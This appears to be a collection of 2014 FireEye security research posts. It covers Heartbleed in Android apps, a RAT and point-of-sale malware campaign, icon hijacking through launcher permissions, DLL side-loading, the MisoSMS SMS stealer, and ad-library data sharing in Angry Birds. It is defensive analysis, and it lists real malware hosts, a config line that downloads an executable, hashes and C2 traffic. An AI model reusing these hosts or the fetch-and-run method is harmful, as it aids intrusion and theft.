    Currently there are about 17 antivirus apps on Google Play branded as “Heartbleed detectors”. Six of them scan the OpenSSL library belonging to the Android platform for vulnerabilities. Unfortunately, this method isn’t sufficient for detecting the Heartbleed vulnerability on Android. Except in limited Android versions (mainly 4.1.0-4.1.1), the majority of Android platforms are not vulnerable, as most versions use OpenSSL libraries that are not vulnerable or simply have the OpenSSL heartbeat functionality disabled.

    However, Android apps frequently use native libraries, which either directly or indirectly leverage vulnerable OpenSSL libraries. Therefore, even though the Android platform itself is not vulnerable, attackers can still attack those vulnerable apps. They can hijack the network traffic, redirect the app to a malicious server and then send crafted heartbeats messages to the app to steal sensitive memory contents.

    We studied apps with vulnerable OpenSSL libraries and confirmed this attack. Most of the vulnerable apps are games, and some are office-based applications. Although there is not much valuable information in the game apps, attackers can steal OAuth tokens (access tokens and refresh tokens) to hijack the game accounts; as such, the information might be useful for hijacking those linked social network accounts with incorrect configurations. Office apps vulnerable to Heartbleed are much more dangerous due to further potential data leakage.

    During our investigation of the office apps that contains a vulnerable version of OpenSSL, we were surprised that they were not vulnerable to the Heartbleed attack. How could it be? A deeper look shows that these apps either make a mistake in the native code linkage, or just contain dead code. Therefore, when they try to invoke SSL functions, they directly use the non-vulnerable OpenSSL library contained within the Android OS, instead of using the vulnerable library provided by the app. The linkage mistake is common for Android applications built with native code. As such, the side-effect of this mistake helps reduce the apps’ overall risk profile.

    Of the 17 Heartbleed detector apps on Google play, only 6 detectors check installed apps on the device for Heartbleed vulnerability. And of those 6, 2 report all apps installed as “Safe,” including those we confirmed as vulnerable. One detector doesn’t show any app scan results and another one doesn’t scan the OpenSSL version correctly. Only 2 of them did a decent check on Heartbleed vulnerability of apps. Although they conservatively labeled some non-vulnerable apps as vulnerable, we agree it is a viable report which highlights both the vulnerabilities and the linkage mistakes. We’ve also seen several fake Heartbleed detectors among the 17 apps, which only serve as adware and don’t perform real detections or display detection results to users.

    On April 10th, we scanned more than 54K Google Play apps (each with over 100K downloads) and found that there were at least 220 million downloads affected by the Heartbleed vulnerability. We have notified some of the app developers and library vendors about the OpenSSL Heartbleed vulnerability found in their products. Fortunately, it seems most app developers and library vendors take Heartbleed seriously, as we have started to see apps updated with proper fixes. The total number of vulnerable apps download has since decreased to 150 million on April 17th.

    [1] Vulnerability Summary for CVE-2014-0160

    Crimeware or APT Malware: Fifty Shades of Grey

    Some cybercriminals build massive botnets to use unsuspecting endpoints for spam, distributed denial-of-service (DDoS) attacks, or large-scale click fraud. With the aid of banking Trojans, other cybercriminals create smaller, specialized botnets that focus on stealing bank credentials and credit card information.

    Remote access tools, or RATs, are an integral part of the cybercrime toolbox. For example, a recent FireEye investigation into XtremeRAT revealed that it had been propagated by spam campaigns that typically distribute Zeus variants and other banking-focused malware. This tactic may stem in part from the realization that compromising retailers can net millions of credit card numbers in one fell swoop.

    Malware designed to compromise point-of-sale (POS) systems is not a new phenomenon. But we have seen a recent surge in malware that specifically targets these systems (e.g. Chewbacca, Dexter, BlackPOS and JackPOS). Moreover, POS malware is being deployed in an increasingly targeted manner. For example, some attacks against retailers have been characterized as “APT style” attacks —  a designation traditionally reserved for malware-based espionage sponsored on some level by nation-states.

    The extent to which such attacks are targeted, and not opportunistic, is unclear. The attackers could be singling out specific retailers in advance. Or they could be targeting an entire industry, simply capitalizing on opportunities that arise.

    In this blog post, we examine one case that clearly illustrates the nature of this problem.

    Attack Vector

    The suspicious email shown in Figure 1, which was sent to several companies, prompted us to take a closer look.

    unipay1

    Figure 1: Malicious email with JAR attachment

    The content of the email is consistent with traditional spam messages that typically propagate banking Trojans. It does not appear to target the recipients specifically. The attachment is a Java archive file (JAR). When executed, the JAR file attempts to download and run an EXE from a remote location. The JAR does not contain a Java exploit per se; it simply uses java.net.URLConnection class to download the executable (since it is not running inside a sandbox).

    The file "CUP retrieval request for 18 Feb 2014.jar" (2fd3c07ac16393723b528ca29a028c00) contains the following:

     

    Size   Compressed   Name

    42      50          cfg/config

    104     106         META-INF/MANIFEST.MF

    3905    2212        CrossPlatformInstaller.class

    The “config” file contains the location of the EXE to be downloaded:

     

    101#hxxp://himselp.net.in/css/acrord.exe

     

    The file “acrord.exe” connects to rglink77[.]no-ip[.]biz / 37.220.31.113.

    Netwire

    The payload in this case is the Netwire RAT. Netwire emerged in 2012. It can be used to build malware for multiple operating systems, including Windows, MacOS, and Linux. The RAT is marketed on a variety of underground forums, selling for $40–$140.

    This sample was configured with the tag “UNIPAY”, so that the attackers know which hosts were compromised during this campaign.

    unipay2

    While looking at the server hosting the file, which appears to be a compromised — but otherwise legitimate — website, we found an additional Netwire sample:

    MD5 Filename Domain IP
    8b0cd4952da32523524b1d30822ef0a8 8b0cd4952da32523524b1d30822ef0a8 adobe.exe adobe.exe c0der.zapto.org c0der.zapto.org 46.183.220.17 46.183.220.17

    Email Extractor

    We also discovered a simple tool that is used to extract email addresses. We found the output of this tool, which consisted of a list of 8,507 email addresses. It also contains the email that was used by the “sender” and its recipient (although we have seen other recipients that are not on this list).

    unipay3

    The list contains 1,351 domains that primarily appear to be banks, financial services companies (money transfer / exchange, investment), and businesses (such as shipping, engineering, IT) in the Middle East and Asia. In other words, these attackers are interested in a wide variety of targets.

    A website statistics package on the server reveals that “acrord.exe” had been downloaded 802 times. This indicates that up to 9.4% of the targets may have opened the malicious attachment — and thus may have been compromised.

    DarkComet

    In addition to the Netwire RAT, the attackers are also using the DarkComet RAT. DarkComet has been available for free since 2008. It is popular on a variety of underground forums and used by a wide range of actors for many purposes. (After reports indicated that DarkComet was used in connection with the conflict in Syria, the creator of DarkComet, DarkCoderSC, created a removal tool and ultimately quit developing the RAT).

    unipay4

    In this case, the attackers used an older version of DarkComet (4.0) and specified the ID of “Email”, which probably indicates the attack vector for this campaign.

    MD5 Filename Domain IP
    ae6b419f4eb619d4be45dbfe6660a670 ae6b419f4eb619d4be45dbfe6660a670 oni.exe oni.exe privatecode.zapto.org privatecode.zapto.org 209.166.87.161 209.166.87.161
    12d8469512b581b60d7d5cce0733904d 12d8469512b581b60d7d5cce0733904d dcr.exe dcr.exe privatecode.zapto.org privatecode.zapto.org 209.166.87.161 209.166.87.161

    We also found that the attackers were using JackPOS, a malware tool that has been previously used in successful attacks. JackPOS can dump memory and look for Track 1 and Track 2 credit card data using regular expressions. This data is then uploaded to a command-and-control (CnC) server.

    MD5 Filename Domain IP
    e7f1ba73cca6d99819d27216d09ecbbb e7f1ba73cca6d99819d27216d09ecbbb spp.exe spp.exe akuna.mcdir.ru akuna.mcdir.ru 178.208.83.38 178.208.83.38

    We don’t know how the attackers were deploying JackPOS in this particular case, but we suspect that once targets of interest were identified using either Netwire or DarkComet, the attackers would then deploy JackPOS to steal credit card information.

    Handsnake

    The attackers in this case are also using a Carberp-based Trojan that has VNC capabilities that we call “handsnake.” This Trojan is described in more detail in a Polish-language white paper.

    MD5 Filename Domain IP
    aa8268ed9f8b32b708f50b56347075ab aa8268ed9f8b32b708f50b56347075ab xxx.exe xxx.exe 185.29.8.19 185.29.8.19

    Upon execution, the malware begins communication with the CnC server. The decrypted beacon is:

    {"type":"handsnake","GUID":"{[GUID]}","BuildId":"plm_build","CompName":"[COMPUTERNAME]","SystemVersion":"Windows

    XP Professional Service Pack 3 (build 2600); English (United

    States)","ProcessorType":32,"ProcessorsCount":1,"ProcessorSpeed":2581,"BotVersion":34144256,"MemorySize":511,"token":false,"TimeZone":"GMT--7:00","UpTime":222,"IdleTime":1,"HaveWebCam":false,"UserName":"admin","Online":1}

    At this point, the attackers can use the remote desktop function of the VNC component to take full control of the compromised system.

    Zeus

    In addition to the RATs and POS malware described above, we have also seen the attackers deploy the Zeus banking Trojan. They are using version MMBB 2.9.6.1, which has been previously described here.

    MD5 Filename Domain IP
    667c4f78fc1aeb45700734accc85e402 667c4f78fc1aeb45700734accc85e402 xbot.exe xbot.exe 217.23.1.188 217.23.1.188

    When executed, the malware connects to the CnC server to download the “config” file, which contains the “webinjects” to be used:

    GET /modules/config.bin HTTP/1.1

    Accept: */*

    User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)

    Host: 217.23.1.188

    Cache-Control: no-cache

    The only major difference between this version of Zeus and previous versions is the shift from RC4 encryption to AES encryption.

    Conclusion

    The world of cybercrime features a broad spectrum of bad actors. On one end, highly focused state-sponsored attackers use custom tools and zero-day exploits. On the other end, “commodity” cybercriminals use widely deployed exploit kits that indiscriminately compromise thousands of systems around the globe.

    In the middle are (at least) “fifty shades of grey.” One class of attacker mixes publicly available malware platforms and custom tools. These latter cases suggest that it is not always easy to estimate the size or sophistication of an adversary simply by finding one piece of what may be a far larger puzzle.

    Acknowledgement: We thank Thoufique Haq for his support, research, and analysis on these findings.

    Occupy Your Icons Silently on Android

    FireEye mobile security researchers have discovered a new Android security issue: a malicious app with normal protection level permissions can probe icons on Android home screen and modify them to point to phishing websites or the malicious app itself without notifying the user. Google has acknowledged this issue and released the patch to its OEM partners.

    Normal vs. Dangerous Permissions: A Background

    Android Open Source Project (AOSP) classifies Android permissions into several protection levels: “normal”, “dangerous”, “system”, “signature” and “development” [1][2][3].

    Dangerous permissions “may be displayed to the user and require confirmation before proceeding, or some other approach may be taken to avoid the user automatically allowing the use of such facilities”. In contrast, normal permissions are automatically granted at installation,  “without asking for the user's explicit approval (though the user always has the option to review these permissions before installing)” [1].

    On the latest Android 4.4.2 system, if an app requests both dangerous permissions and normal permissions, Android only displays the dangerous permissions, as shown in Figure 1. If an app requests only normal permissions, Android doesn’t display them to the user, as shown in Figure 2.

    Figure 1. An Android app asks for one dangerous permission (INTERNET) and some normal permissions (Launcher’s READ_SETTINGS and WRITE_SETTINGS). Android doesn’t notify the user about the normal permissions.

    Figure 2. An Android app asks for normal permissions (Launcher’s READ_SETTINGS and WRITE_SETTINGS) only. Android doesn’t show any permission to the user.

    Normal Permissions Can Be Dangerous

    We have found that certain “normal” permissions have dangerous security impacts. Using these normal permissions, a malicious app can replace legit Android home screen icons with fake ones that point to phishing apps or websites.

    The ability to manipulate Android home screen icons, when abused, can help an attacker deceive the user. There’s no surprise that the com.android.launcher.permission.INSTALL_SHORTCUT permission, which allows an app to create icons, was recategorized from “normal” to “dangerous” ever since Android 4.2. Though this is an important security improvement, an attacker can still manipulate Android home screen icons using two normal permissions: com.android.launcher.permission.READ_SETTINGS and com.android.launcher.permission.WRITE_SETTINGS. These two permissions enable an app to query, insert, delete, or modify the whole configuration settings of the Launcher, including the icon insertion or modification. Unfortunately, these two permissions have been labeled as “normal” since Android 1.x.

    As a proof of concept attack scenario, a malicious app with these two permissions can query/insert/alter the system icon settings and modify legitimate icons of some security-sensitive apps, such as banking apps, to a phishing website. We tested and confirmed this attack on a Nexus 7 device with Android 4.4.2. (Note: The testing website was brought down quickly and nobody else ever connected to it.) Google Play doesn’t prevent this app from being published and there’s no warning when a user downloads and installs it. (Note: We have removed the app from Google Play quickly and nobody else downloaded this app.)

    Lastly, this vulnerability is not limited to Android devices running AOSP. We have also examined devices that use non-AOSP Launchers, including Nexus 7 with CyanogenMod 4.4.2, Samsung Galaxy S4 with Android 4.3 and HTC One with Android 4.4.2. All of them have the protection levels of com.android.launcher.permission.READ_SETTINGS and WRITE_SETTINGS as “normal”.

    Google acknowledged this vulnerability and has released the patch to its OEM partners. Many android vendors were slow to adapt security upgrades. We urge these vendors to patch vulnerabilities more quickly to protect their users.

    References:

    1. http://developer.android.com/guide/topics/manifest/permission-element.html

    2. https://android.googlesource.com/platform/frameworks/base/+/master/core/res/AndroidManifest.xml

    3. https://android.googlesource.com/platform/packages/apps/Launcher2/+/master/AndroidManifest.xml

      DLL Side-Loading: Another Blind-Spot for Anti-Virus

      Last month, I presented a talk at the RSA USA Conference on an increasingly popular threat vector called “Dynamic-Link Library Side-Loading” (DLL Side-Loading). As with many vulnerabilities, this exploit has existed for a rather long time and is the result of Microsoft looking to make binary updates easier for Windows developers through the Windows side-by-side (WinSxS) assembly feature.

      Now, though, advanced persistent threat (APT) developers are using the innocuous DLL Side-Loading method to sneak malware past anti-virus (AV) scanners as the infected files run in-memory. In doing-so, the malicious payload is using a benign application to be built in memory, meaning that the malware does not sit running in the file system where AV scans take place. In the figure below, you can see an example of how this all plays out:

      DLLpic

      For a real-life example: in 2013, attackers exploited the executable originally developed by Fortune 50 company using this technique in a highly targeted attack. In such an attacks, the malware places a spoofed, malicious DLL file in a Windows’ WinSxS directory so that the operating system loaded the spoofed DLL instead of the legitimate file. Furthermore, because the file in-question was white-listed by hash in a public database, AV simply ignores it altogether.

      In response to the growing use of DLL Side-Loading in APTs, we have developed a full paper that describes the history of DLL Side-Loading and its role in the malware and software engineering arenas.

       

       

      Android.MisoSMS : Its Back! Now With XTEA

       

      FireEye Labs recently found a more advanced variant of Android.MisoSMS, the SMS-stealing malware that we uncovered last December — yet another sign of cybercriminals’ growing interest in hijacking mobile devices for surveillance and data theft.

      Like the original version of the malware, the new variant sends copies of users’ text messages to servers in China. But the newest rendition adds a few features that make it harder to detect, including a new disguise, encrypted transmissions, and command-and-control (CnC) communications that are handled natively rather than over email.

      FireEye Mobile Threat Prevention customers are already protected from both variants.

       

      Both variants of MisoSMS use the same names for receivers and services. While the old variant masquerades as an Android settings application, the new version presents itself as “Gplay Dsc” to the user.

      The new variant also abandons SMTP email as the transport method. It now handles all CnC communication natively in C++, making it harder for an analyst to analyze the malware by disassembling its ARM code.

      The newer version also hard codes specific public DNS servers such as the following:

      • resolver1.opendns.com
      • nscache.prserv.com
      • resolver1.qwest.net
      • resolver2.opendns.com
      • google-public-dns-b.google.com
      • google-public-dns-a.google.com
      • mx1.oray.net.cn
      • 183.136.132.176
      • 183.136.132.170

      The new MisoSMS attempts to resolve its CnC domain name(puk[dot]nespigt[dot]iego[dot]net) from one of these DNS servers. In this way, MisoSMS stays quiet in sandbox environments, which typically use internal DNS servers and cut off access to outside networks. If the malware cannot access the hard-coded DNS servers, it does nothing and is therefore not detected.

      The new MisoSMS also uses a variant of the XTEA encryption algorithm to communicate with its CnC server. The request and responses of the CnC server are structured so that the first four bytes of the request and response contain the length of the encrypted blob of data. By skipping the first four bytes, we can decrypt the communications using the key embedded in the native binary.

      Figure 1 shows MisoSMS registering a newly infected device with the CnC server. The first four bytes in the encrypted payload mark the length of the message. The rest of the payload contains information about the infected device.

      [caption id="attachment_5080" align="aligncenter" width="621"]New infection registration to the CnC Server Figure 1 - New Infection Registration[/caption]

      Figure 2 and Figure 3 show the SMS exfiltration mechanism, as seen in Figure 1, the first four bytes of the encrypted payload contains the length indicator of the payload. The intercepted SMS message is sent to the CnC with the Device ID of the already compromised device.

      [caption id="attachment_5078" align="aligncenter" width="640"]Encrypted CnC Communication containing stolen SMS Figure 2 - Encrypted CnC Communication containing stolen SMS[/caption]

      [caption id="attachment_5079" align="aligncenter" width="640"]Decrypted CnC Communication containing stolen SMS Figure 3 - Decrypted CnC Communication containing stolen SMS[/caption]

      The domain name of the CnC is also encrypted and stored as a byte array in the native binary. Once the encrypted byte array containing the CnC information is decrypted, the malware checks to see whether the CnC is a domain or an IP address.

      That check is  meaningful. Its existence implies the ability to change the CnC information dynamically. And that ability, in turn, suggests that MisoSMS uses excerpts of publically available code.

      The CnC server currently serves a Web page that resembles an Android app, as shown in Figure 4.

      [caption id="attachment_5081" align="aligncenter" width="349"]CnC serving an webpage Figure 4 - CnC serving an webpage[/caption]

      The Web page contains a link pointing to “hxxps://www.dropbox.com/s/t47d2nheqbhky64/%EA%B2%BD%20%EC%B0%B0%20%EC%B2%AD[dot]apk,” which is currently not available. Like the website, the MisoSMS app itself displays Korean text.

      The newest version of MisoSMS suggests that cyber attackers are increasingly eyeing mobile devices — and the valuable information they store — as targets. It also serves as a vivid reminder of how crucial protecting this threat vector is in today’s mobile environment.

      A Little Bird Told Me: Personal Information Sharing in Angry Birds and its Ad Libraries

      Many popular mobile apps, including Rovio’s ubiquitous Angry Birds, collect and share players’ personal information much more widely than most people realize.

      Some news reports have begun to scratch the surface of the situation. The New York Times reported on Angry Birds and other data-hungry apps last October. And in January, the newspaper teamed up with public-interest news site ProPublica and U.K. newspaper the Guardian for a series of stories detailing how government agencies use the game (and other mobile apps) to collect personal data. Even the long-running CBS show 60 Minutes reported earlier this month that Rovio shares users’ locations.

      The Android version of Angry Birds in the Google Play store, updated on March 4, continues to share personal information. In fact, more than a quarter billion users who create Rovio accounts to save their game progress across multiple devices might be unwittingly sharing all kinds of information—age, gender, and more — with multiple parties. And many more users who play the game without a Rovio account are sharing their device information without realizing it.

      Once a Rovio account is created and personal information uploaded, the user can do little to stop this personal information sharing. Their data might be in multiple locations: Angry Birds Cloud, Burstly (ad mediation platform), and third-party ad networks such as Jumptap and Millennial Media. Users can avoid sharing personal data by playing Angry Birds without Rovio account, but that won’t stop the game from sharing device information.

      In this blog post, we examine the personal information Angry Birds collects. We also demonstrate the relationships between the app, the ad mediation platform, and the ad clouds — showing how the information flows among the three. We also spell out the evidence, such as network packet capture (PCap) from FireEye Mobile Threat Prevention (MTP), to support our information flow chart. Finally, we reveal how the multi-stage information sharing works by tracking the code paths from the reverse-engineered source code.

      To investigate the mechanism and contents of the information sharing, we researched different versions of Angry Birds. We found that multiple versions of the game can share personal information in clear text, including email, address, age, and gender.

      Angry Birds’ data management service, “ad-x.co.uk,” shares information in the penultimate version of the game (V4.0.0), which was offered in the Google Play store through March 4.  And contrary to media reports that this data sharing occurred only on an older “special edition” of the game, we found that some  sharing occurs in multiple versions of Angry Birds — including the latest to the “classic” version, 4.1.0. (This update as added to Google Play on March 4.) With more than 2 billion downloads of Angry Birds so far, this sharing affects many, many devices.

      What information is shared?

      Angry Birds encourages players to create Rovio accounts, touting the following benefits:

      • To save scores and in-game weapons
      • To preserve game progress across multiple devicesThe second benefit is especially attractive to devoted Angry Birds players because it allows them to stop playing on one device and pick up where they left off on another. Figure 1 shows the Rovio registration page.

         

        [caption id="attachment_4889" align="aligncenter" width="546"]Figure 1. The registration page of the Rovio account. Figure 1: Rovio’s registration page[/caption]

        Figure 2 shows birthday information collected during registration. The end-use license agreement (EULA) and privacy policy grant Rovio rights to upload the collected information to third-party entities for marketing.

        [caption id="attachment_4894" align="aligncenter" width="546"]Figure 2. The registration of the Rovio account includes personal information and EULA. Figure 2: The registration of the Rovio account includes personal information and EULA.[/caption]

        In Figure 3, the registration page asks for the user’s email address and gender.  When the player clicks the register button, Rovio uploads the collected data to the Angry Birds Cloud to create a player profile.

        [caption id="attachment_4897" align="aligncenter" width="546"]Figure 3. The personal information during the registration process. Figure 3: Rovio asks for email and gender information during registration.[/caption]

        Figure 4 shows another way Angry Birds collects personal information.  Rovio offers a newsletter to update Angry Birds players with new games, episodes, and special offers.  During newsletter signup, Rovio collects the player’s first and last name, email address, date of birth, country of residence, and gender. This information is aggregated with the user’s Rovio account profile by matching the player’s email address.

        [caption id="attachment_4899" align="aligncenter" width="546"]Figure 4. Newsletter registration page with more personal information. Figure 4: Newsletter registration page requesting more personal information[/caption]

        [caption id="attachment_5017" align="alignnone" width="549"]Figure 5. Information flow among Angry Birds, the ad intermediate platform and the ad cloud. Figure 5: Information flow among Angry Birds, the ad intermediate platform and the ad cloud[/caption]

        First, we are concerned with the type of information transmitted to the advertisement library. Figure 5 illustrates the information flow among Angry Birds, the Angry Birds Cloud, Burstly (the embedded ad library and ad mediation platform), and cloud-based ad services such as Jumptap and Millennial Media.

        Angry Birds uses Burstly as an ad adapter, which provides integration with numerous third-party ad clouds including Jumptap and Millennial Media. The ad services use players’ personal data to target ads.

        As the figure shows, Angry Birds maintains an HTTP connection with the advertising platform Burstly, the advertisement provider Millennial Media, and more.

        Traffic flow

        Table 1 summarizes the connections, which we explain in detail below.

        PCap Burstly (Ad Mediation Platform) Third Party Ad Clouds
        1 1 POST (personal information, IP) POST (personal information, IP)
        2 2 GET Ad from Jumptap GET Ad from Jumptap
        3 3 GET Ad from Turn.com GET Ad from Turn.com

        Table 1: PCap information exchanged between Angry Birds, Burstly and third-party ad clouds

        Angry Birds uses native code called libAngryBird.so to access storage and help the ad libraries store logs, caches, database, configuration files, and AES-encrypted game data. For users with a Rovio account, this data includes the user's personal information in clear text or easily decrypted formats. For example, some information is stored in clear text in the web view cache called webviewCacheChromium:

        {"accountId":"AC3XXX...XXXA62B","accountExtRef":"hE...fDc","personal":{"firstName":null,"lastName":null,"birthday":"19XXXXX-01", "age":"30", "gender":"FEMALE", "country":"United States" , "countryCode":"US", "marketingConsent":false, "avatarId":"AVXXX...XXX2c","imageAssets":[...], "nickName":null}, "abid":{"email":"eXXX...XXXe@XXX.XXX", "isConfirmed":false}, "phoneNumber":null, "facebook":{"facebookId":"","email":""},"socialNetworks":[]}

        The device is given a universal id 1XXXX8, which is stored in the webviewCookiesChromium database in clear text:

        cu1XXXX8|{"name":"cu1XXXX8","value":"3%2XXX...XXX6+PM"}|13XXX...XXX1

        The id "1XXXX8" labels the personal information when uploaded by the ad mediation platform. Then the information is passed to ad clouds.

        1. The initial traffic captures in the PCap shows what kind of information Angry Birds uploads to Burstly:

        HTTP/1.1 200 OK

        Cache-Control: private

        Date: Thu, 06 Mar 2014 XX:XX:XX GMT

        Server: Microsoft-IIS/7.5

        ServerName: P-ADS-OR-WEBC #22

        X-AspNet-Version: 4.0.30319

        X-Powered-By: ASP.NET

        X-ReqTime: 0

        Content-Length: 0

        Connection: keep-alive

        POST /Services/PubAd.svc/GetSingleAdPlacement HTTP/1.1

        Content-type: text/json; charset=utf-8

        User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Ascend Y300 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

        Content-Length: 1690

        Host: neptune.appads.com

        Connection: Keep-Alive

        {"data":{"Id":"8XXX5","acceptLanguage":"en","adPool":0,"androidId":"u1XXX...XXXug","bundleId": "com.rovio.angrybirds",…,"cookie":[{"name":"cu1XXX8","value":"3XXX6+PM"},{"name":"vw","value":"ref=1XXX2&dgi=,eL,default,GFW"},{"name":"lc","value":"1XXX8"},{"name":"iuXXXg","value":"x"},{"name":"cuXXX8","value":"3%2XXXPM"},{"name":"fXXXg","value":"ref=1XXX712&crXXX8=2,1&crXXX8=,1"}], "crParms":"age=30,androidstore='com.android.vending', customer='googleplay', gender='FEMALE', version='4.1.0'", "debugFlags":0, "deviceId":"aXXX...XXXd", "encDevId":"xXXX....XXXs=", "encMAC":"iXXX...XXXg=", "ipAddress":"","mac":"1XXX...XXX9", "noTrack":0,"placement":"", "pubTargeting":"age=30, androidstore='com.android.vending', customer='googleplay', gender='FEMALE', version='4.1.0'","rvCR":"", "type":"iq","userAgentInfo":{"Build":"1.35.0.50370", "BuildID":"323", "Carrier":"","Density":"High", "Device":"AscendY300", "DeviceFamily":"Huawei", "MCC":"0","MNC":"0",...

        We can see the information transmitted to neptune.appads.com includes gender, age, android id, device id, mac address, device type, etc. In another PCap in which Angry Birds sends POST to the same host name, the IP address is transmitted too:

        HTTP/1.1 200 OK

        POST /Services/v1/SdkConfiguration/Get HTTP/1.1

        Host: neptune.appads.com

        ...

        IpAddress":"fXXX...XXX9%eth0",...

        According to whois records, the registrant organization of neptune.appads.com is Burstly, Inc. Therefore, the aforementioned information is actually transmitted to Burstly. It Both PCaps contain the keyword “crParms.” This keyword is also used in the source code to put personal information into a map sent as a payload.

        Skyrocket.com is an app monetization service provided by Burstly. The following PCap shows that Angry Birds retrieves the customer ID from Skyrocket.com through an HTTP GET request:

        HTTP/1.1 200 OK

        Cache-Control: private

        Content-Type: text/html

        Date: Thu, 06 Mar 2014 07:12:25 GMT

        Server: Microsoft-IIS/7.5

        ServerName: P-ADS-OR-WEBA #5

        X-AspNet-Version: 4.0.30319

        X-Powered-By: ASP.NET

        X-ReqTime: 2

        X-Stats: geo-0

        Content-Length: 9606

        Connection: keep-alive

        GET /7….4/ad/image/1...c.jpg HTTP/1.1

        User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Ascend Y300 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

        Host: cdn.skyrocketapp.com

        Connection: Keep-Alive

        {"type":"ip","Id":"9XXX8",..."data":[{"imageUrl":"http://cdn.skyrocketapp.com/79...2c.jpg","adType":{"width":300, "height":250, "extendedProperty":80}, "dataType": 64, "textAdType":0,"destType":1,"destParms":"","cookie":[{"name":"fXXXg", "value": "ref=1XXX2&cr1XXX8=2,1&cr1XXX8=1&aoXXX8=", "path":"/", "domain": "neptune.appads.com", "expires":"Sat, 05 Apr 2014 XXX GMT", "maxage": 2…0}, {"name":"vw","value":"ref=1XXX2&...},...,"cbi":"http://bs.serving-sys.com/Burstin...25&rtu=-1","cbia":["http://bs….":1,"expires":60},..."color":{"bg":"0…0"}, "isInterstitial":1}

        2. In this PCap, the ad is fetched by including the customer id 1XXX8 into the HTTP POST request to jumptap.com, i.e. Millennial Media:

        HTTP/1.1 200 OK

        Cache-Control: private

        Content-Type: text/html

        Date: Thu, XX Mar 2014 XX:XX:XX GMT

        Server: Microsoft-IIS/7.5

        ServerName: P-ADS-OR-WEBC #17

        X-AspNet-Version: 4.0.30319

        X-Powered-By: ASP.NET

        X-ReqTime: 475

        X-Stats: geo-0;rcf88626-255;rcf75152-218

        Content-Length: 2537

        Connection: keep-alive

        GET /img/1547/1XXX2.jpg HTTP/1.1

        Host: i.jumptap.com

        Connection: keep-alive

        Referer: http://bar/

        X-Requested-With: com.rovio.angrybirds

        User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Ascend Y300 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

        Accept-Encoding: gzip,deflate

        Accept-Language: en-US

        Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7

        {"type":"ip","Id":"8XXX5","width":320,"height":50,"cookie":[],"data":[{"data":"<!-- AdPlacement : banner_ingame_burstly…","adType":{"width":320, "height":50, "extendedProperty":2064 },"dataType":1, "textAdType":0, "destType":10, "destParms":"", "cookie":[{"name":"...", "value":"ref=...&cr1XXX8=4,1&cr1XXX8=2,1", "path":"/", "domain":"neptune.appads.com", "expires":"Sat, 0X Apr 2014 0X:XX:XX GMT", "maxage":2XXX0}, {"name":"vw",..., "crid":7XXX2, "aoid":3XXX3, "iTrkData":"...", "clkData":"...","feedName":"Nexage"}]}

        In this pcap, the advertisement is retrieved from jumptap.com. We can use the same customer id “1XXXX8” to easily track the PCap of different ad libraries.

        3. For example, in another PCap from turn.com, customer id remains the same:

        HTTP/1.1 200 OK

        Cache-Control: private

        Content-Type: text/html

        Date: Thu, 06 Mar 2014 07:30:54 GMT

        Server: Microsoft-IIS/7.5

        ServerName: P-ADS-OR-WEBB #6

        X-AspNet-Version: 4.0.30319

        X-Powered-By: ASP.NET

        X-ReqTime: 273

        X-Stats: geo-0;rcf88626-272

        Content-Length: 4714

        Connection: keep-alive

        GET /server/ads.js?pub=24…

        PvctPFq&acp=0.51 HTTP/1.1

        Host: ad.turn.com

        Connection: keep-alive

        Referer: http://bar/

        Accept: */*

        X-Requested-With: com.rovio.angrybirds

        User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Ascend Y300 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

        Accept-Encoding: gzip,deflate

        Accept-Language: en-US

        Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7

        {"type":"ip","Id":"0...b","width":320,"height":50,"cookie":[],"data":[{"data":"<!-- AdPlacement : banner_ingame_burstly --> \"http://burstly.ads.nexage.com:80..." destParms":"", "cookie":[{"name":"f...g", "value":"ref=1...0&cr1XXXX8=k,1&cr...8=i, 1","path":"/", "domain":"neptune.appads.com", "expires":"Sat, 0X Apr 2014 0X:XX:XX

        How is the personal information shared?

        We also researched the source code of the Burstly (ad mediation platform) to trace the method calls for the information sharing. First in com/burstly/lib/conveniencelayer/BurstlyAnimated Banner.java, when Angry Birds tries to initialize the connection with Burstly,   initNewAnimatedBanner() is called as follows:

        this.initNewAnimatedBanner (arg7.getActivity(), arg8, arg9, arg10, arg11);

        Inside initNewAnimatedBanner(), it instantiates the BurstlyView object by calling:

        BurstlyView v0 = new BurstlyView(((Context)arg3));

        v0.setZoneId(arg6);

        Before the ZoneId is set, the initializeView() method is called in the constructor of BurstlyView. Furthermore, inside the initializeView() method, we found the following:

        new BurstlyViewConfigurator(this).configure(this.mAttributes);

        Finally in the BurstlyViewConfigurator.configure() method, it sets a series of parameters:

        this.extractAndApplyBurstlyViewId();

        this.extractAndApplyCrParams();

        this.extractAndApplyDefaultSessionLife();

        this.extractAndApplyPublisherId();

        this.extractAndApplyPubTargetingParams();

        this.extractAndApplyUseCachedResponse();

        this.extractAndApplyZoneId();

        These method calls are to retrieve information from burstly.com. For example, in the extractAndApplyCrParams() method, it retrieves parameters from burstly.com and stores them in the BurstlyView object:

        String v0 = this.mAttributes.getAttributeValue("http://burstly.com/lib/ui/schema", "crParams");

        if(v0 != null) {

        BurstlyViewConfigurator.LOG.logDebug("BurstlyViewConfigurator", "Setting CR params to: {0}", new Object[]{v0});

        this.mBurstlyView.setCrParms(v0);

        }

        The key crParms is the same one used in the first PCap to label the values corresponding to personal information such as age and gender.

        Conclusion

        In summary, Angry Birds collects user’s personal information and associates with customer id before storing it in the smart phone storage. Then the Burstly ad library embedded in Angry Birds fetches the customer id, uploads the corresponding personal information to the Burstly cloud, and transmits it to other advertising clouds. We have caught such traffics in the network packet captures and the corresponding code paths in the reversed engineered source code.

        For FireEye ThreatScore information on Angry Birds and more details about the application’s behavior, FireEye Mobile Threat Prevention customers can access their Mobile Threat Prevention (MTP) portal.

       

